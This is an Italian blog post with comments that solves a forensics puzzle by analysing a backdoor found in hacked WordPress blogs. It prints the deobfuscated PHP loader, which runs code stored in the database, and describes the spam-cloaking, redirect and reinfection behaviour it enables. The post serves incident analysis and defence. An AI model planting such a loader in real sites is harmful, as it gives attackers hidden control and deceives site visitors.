Vista la nutrita schiera dei partecipanti e la massa di soluzioni che mi sono pervenute (una sola, completamente fuori strada), qui di seguito trovate la soluzione all’indovinello estivo.
Il primo passo era di reperire il file da qualche parte, ed a questo qualcuno c’è arrivato, bravo Nanni. Era sufficiente cercare in Google una delle stringhe mostrate nell’immagine. Ad esempio basta inserire la stringa lpa1zxy (la terza in alto nell’immagine) in Google, ed il primo risultato è quello voluto. Notare che i siti che si ottengono dalla ricerca sono stati compromessi in vari modi, e probabilmente lo sono ancora. I bug e le vulnerabilità su cui si basano le intrusioni sono noti ormai da anni e se un webmaster non sa fare il suo lavoro è un suo problema.
Reperito il file, rimane da capire cosa stiamo guardando. A prima vista sembra qualcosa di cifrato con un algoritmo piuttosto banale, tipo una codifica Base64, o una ROT-13 (o cifrario di Cesare modificato).
Invece, e qui si mostra ancora una volta la genialità del mentecatto, si tratta di normale codice PHP, in cui le stringhe apparentemente codificate sono soltanto dei commenti. Eliminandoli e ricostruendo il codice “attivo” il risultato è un misero:
<?
$f = create_function("",strrev(get_option("wordpress_options")));
$f();
?>
Tutto qui. Questo è quello che viene inserito come plugin nei blog basati su Wordpress violati dal mentecatto. Il plugin non fa altro che scaricare dal database, nella tabella delle opzioni di Wordpress, un record iniettato contenente il vero plugin, e lo esegue. Il plugin ha varie funzioni, principalmente quella di controllare lo user agent dei visitatori e presentare i link di spam se è il GoogelBot a visitare il sito, mentre se è un normale visitatore proveniente da una ricerca per le pillole a basso costo lo reindirizza sul sito della farmacia. Poi ha anche altre funzioni, tipicamente di autodifesa, ed è capace di rimettersi in sesto se il blog viene aggiornato o viene fatto un tentativo di pulizia senza usare le maniere forti. Ne esiste una seconda variante, assolutamente identica come codice PHP attivo, sono soltanto differenti le finte stringhe cifrate, cioè i commenti.
Ne ho parlato e scritto fino alla nausea. Il mentecatto (i mentecatti, le infezioni sono in più varianti, questa è la più diffusa) è uno che ci capisce, non un wannabe. I blog Wordpress infetti sono ancora al loro posto, mentre i proprietari dormono sonni tranquilli. Qualcuno ha pure fatto il test, ha visto i risultati e ha continuato come se niente fosse. Se ritiene che qualche link di spam non sia poi un gran problema, beh, in bocca al lupo.
Lo scopo dell’indovinello era quello di verificare le capacità di analisi, assolutamente necessarie per ricostruire gli eventi in caso di intrusione in un sito web. Analizzando questo file, che nei siti compromessi non ha mai l’apparenza di un file PHP, sono riuscito a trovare dove era nascosto il codice che presentava i link e che deviava le visite. Da lì ho scovato le altre iniezioni di dati nel database, ad esempio la cache dei link spam, e la modalità di reinfezione, o di sopravvivenza ad un upgrade. Peccato, una occasione persa, per tutti. Probabilmente sono io che non ho capito bene in cosa consista la Computer Forensics.
Al prossimo indovinello. Ah, a proposito, qualcuno usa Joomla? Beh, sappiate che state per andare in massa a fare compagnia a chi ha Wordpress in versione “farcita”. Alcuni blog Wordpress compromessi mostrano come link di spam siti che fanno uso di Joomla, naturalmente “farciti” con una variante prontamente sviluppata dal mentecatto. Naturalmente è sufficiente un upgrade alla versione corretta per mettersi al riparo, ma certamente non possiamo fare a meno di quel plugin bellissimissimo che con la nuova versione non funziona, e poi il tema stiloso non si vede bene, eh.
Tranquilli, il mentecatto si fa molti meno problemi. A lui il vostro sito piace com’è. Farcito.

#1 da wolly il 27 August 2008 - 13:16
secondo me bisognerebbe arrivare alle maniere forti, visto il perdurare dei webmaster fai date che manco si degnano di rispondere, e cioè segnalare direttamente ai provider che saranno solerti nel bloccare i WP bacati.
ciao
#2 da Mario Pascucci il 27 August 2008 - 15:52
@Wolly
Sto pregando che il mentecatto non trovi un acquirente per i blog che Google sta lentamente rendendo inutili per i suoi scopi di spammer.
Altrimenti ci penserà la Postale a “forzare” un upgrade, ma al webmaster.
Ne ho parlato al convegno di CFItaly (qui), nelle slide. Nascondere i questi siti violati roba illegale (software pirata e immagini) o trasformarli in centrali di phishing è un gioco da ragazzi. E il webmaster dovrebbe poi discolparsi da solo, dimostrando che quella roba non l’ha messa lui.
#3 da Nanni Bassetti il 28 August 2008 - 07:02
ahahahahahah ma che roba!
….è proprio vero è più facile nascondere con i sistemi semplici che con quelli complessi dei quali, spesso, si ha pure parecchia documentazione….